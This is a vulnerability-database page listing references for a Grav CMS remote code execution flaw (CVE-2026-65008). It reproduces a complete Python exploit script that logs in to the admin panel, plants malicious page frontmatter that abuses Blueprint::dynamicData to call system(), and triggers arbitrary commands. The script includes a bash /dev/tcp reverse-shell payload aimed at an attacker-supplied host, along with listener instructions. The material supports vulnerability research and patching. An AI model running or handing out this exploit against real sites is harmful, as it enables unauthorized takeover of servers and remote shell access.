Grav CMS 2.0.7 - RCE
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Exploit for CVE-2026-65008 | 27 Jul 202613:27 | – | githubexploit | |
| CVE-2026-65008 | 21 Jul 202611:39 | – | attackerkb | |
| CVE-2026-65008 | 21 Jul 202612:40 | – | circl | |
| CVE-2026-65008 | 21 Jul 202611:39 | – | cve | |
| CVE-2026-65008 Grav before 2.0.7 Remote Code Execution via Blueprint dynamicData | 21 Jul 202611:39 | – | cvelist | |
| EUVD-2026-46183 | 21 Jul 202611:39 | – | euvd | |
| CVE-2026-65008 | 2 Sep 202610:33 | – | kitploit | |
| CVE-2026-65008 | 21 Jul 202612:19 | – | nvd | |
| CVE-2026-64850 Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData() | 19 Aug 202615:58 | – | osv | |
| PT-2026-61930 | 21 Jul 202600:00 | – | ptsecurity |
10
#!/usr/bin/env python3
# Exploit Title: Grav CMS 2.0.7 - Remote Code Execution
# Date: 2026-07-27
# Exploit Author: zer0dayf
# Vendor Homepage: https://getgrav.org/
# Software Link: https://github.com/getgrav/grav
# Version: Grav CMS < 2.0.7
# Tested on: Ubuntu 22.04 / PHP 8.2
# CVE : CVE-2026-65008
"""
CVE-2026-65008 - Grav CMS < 2.0.7 Authenticated RCE
via Blueprint::dynamicData() + arrayFilterRecursive trampoline
Lab / authorized testing only.
"""
import argparse
import re
import sys
import time
from urllib.parse import urljoin
import requests
requests.packages.urllib3.disable_warnings()
BANNER = r""" . * . * GRAVITY FAIL * . *
_____
.-' '-.
/ RCE INSIDE \
| system(\"id\")|
\ www-data /
'-._______.-'
CVE-2026-65008 | Blueprint went brrr
"""
class GravExploit:
def __init__(self, base_url, username, password, verify=False):
self.base_url = base_url.rstrip("/")
self.username = username
self.password = password
self.session = requests.Session()
self.session.verify = verify
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
})
self.nonce = None
def login(self):
print("[*] Logging in...")
login_url = urljoin(self.base_url, "/admin")
r = self.session.get(login_url, timeout=15)
match = re.search(r'name=["\']login-nonce["\']\s+value=["\']([a-f0-9]+)["\']', r.text)
if not match:
print("[-] login-nonce not found")
return False
data = {
"data[username]": self.username,
"data[password]": self.password,
"task": "login",
"login-nonce": match.group(1)
}
r = self.session.post(login_url, data=data, allow_redirects=True, timeout=15)
if "login-nonce" in r.text and "data[username]" in r.text:
print("[-] Login failed")
return False
print("[+] Login successful")
return True
def get_admin_nonce(self):
r = self.session.get(urljoin(self.base_url, "/admin"), timeout=15)
patterns = [
r"admin_nonce:\s*['\"]([a-f0-9]+)['\"]",
r"admin-nonce:([a-f0-9]+)",
r'name=["\']admin-nonce["\']\s+value=["\']([a-f0-9]+)["\']',
]
for pattern in patterns:
match = re.search(pattern, r.text)
if match:
self.nonce = match.group(1)
return True
return False
def plant(self, command, folder="rcepoc"):
print(f"[*] Planting payload → {command[:70]}{'...' if len(command) > 70 else ''}")
if not self.get_admin_nonce():
print("[-] Could not get admin-nonce")
return False
safe_cmd = command.replace("'", "'\\''")
frontmatter = f"""forms:
x:
fields:
y:
type: text
data-opts@:
- 'Grav\\Common\\Utils::arrayFilterRecursive'
- {{ '{safe_cmd}': 'x' }}
- system"""
data = {
"task": "save",
"admin-nonce": self.nonce,
"form-nonce": self.nonce,
"data[folder]": folder,
"data[name]": "form",
"data[title]": "RCE",
"data[content]": "pwned",
"data[frontmatter]": frontmatter
}
url = urljoin(self.base_url, f"/admin/pages/{folder}")
r = self.session.post(url, data=data, timeout=15)
if r.status_code not in (200, 302):
print(f"[-] Plant failed (HTTP {r.status_code})")
return False
print("[+] Payload planted")
return True
def trigger(self, folder="rcepoc", timeout=8):
print("[*] Triggering payload...")
try:
r = requests.get(
urljoin(self.base_url, f"/{folder}"),
timeout=timeout,
verify=False
)
return r.text, False # (body, timed_out)
except requests.exceptions.ReadTimeout:
return None, True # timed out = muhtemel shell
except Exception as e:
print(f"[-] Trigger error: {e}")
return None, False
def run_cmd(self, command, folder="rcepoc"):
if not self.plant(command, folder):
return None
time.sleep(0.5)
body, timed_out = self.trigger(folder, timeout=12)
if timed_out:
print("[!] Request timed out (command may still have run)")
return body
def reverse_shell(self, lhost, lport, folder="rcepoc"):
payload = f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"'
print(f"[*] Reverse shell target → {lhost}:{lport}")
print(f"[!] Make sure listener is running: nc -lvnp {lport}")
print(f"[*] Payload: {payload}")
if not self.plant(payload, folder):
print("[-] Failed to plant reverse shell payload")
return False
time.sleep(0.6)
body, timed_out = self.trigger(folder, timeout=6)
if timed_out:
print("[+] Request timed out → reverse shell likely connected!")
print("[+] Check your nc listener.")
return True
else:
print("[-] Request finished without timeout.")
print("[-] Reverse shell probably FAILED (listener empty?).")
if body:
# Komut çıktısı geldiyse göster (hata mesajı olabilir)
snippet = body[:300].replace("\n", " ")
print(f"[*] Response snippet: {snippet}")
return False
def main():
print(BANNER)
parser = argparse.ArgumentParser(description="CVE-2026-65008 Grav CMS Authenticated RCE")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-U", "--username", default="admin", help="Username")
parser.add_argument("-P", "--password", required=True, help="Password")
parser.add_argument("-c", "--command", default="id", help="Command to execute")
parser.add_argument("--lhost", help="Reverse shell LHOST")
parser.add_argument("--lport", type=int, default=4444, help="Reverse shell LPORT")
parser.add_argument("--folder", default="rcepoc", help="Page folder name")
parser.add_argument("--no-verify", action="store_true", help="Disable TLS verification")
args = parser.parse_args()
exploit = GravExploit(args.url, args.username, args.password, verify=not args.no_verify)
if not exploit.login():
sys.exit(1)
if args.lhost:
ok = exploit.reverse_shell(args.lhost, args.lport, folder=args.folder)
sys.exit(0 if ok else 1)
output = exploit.run_cmd(args.command, folder=args.folder)
if output:
print("\n" + "=" * 60)
for line in output.splitlines()[:20]:
if line.strip() and not line.strip().startswith("<"):
print(line)
print("=" * 60)
print("[+] Done")
else:
print("[-] No usable output")
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Sep 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 49.3
CVSS 3.19.8
EPSS0.00838
SSVC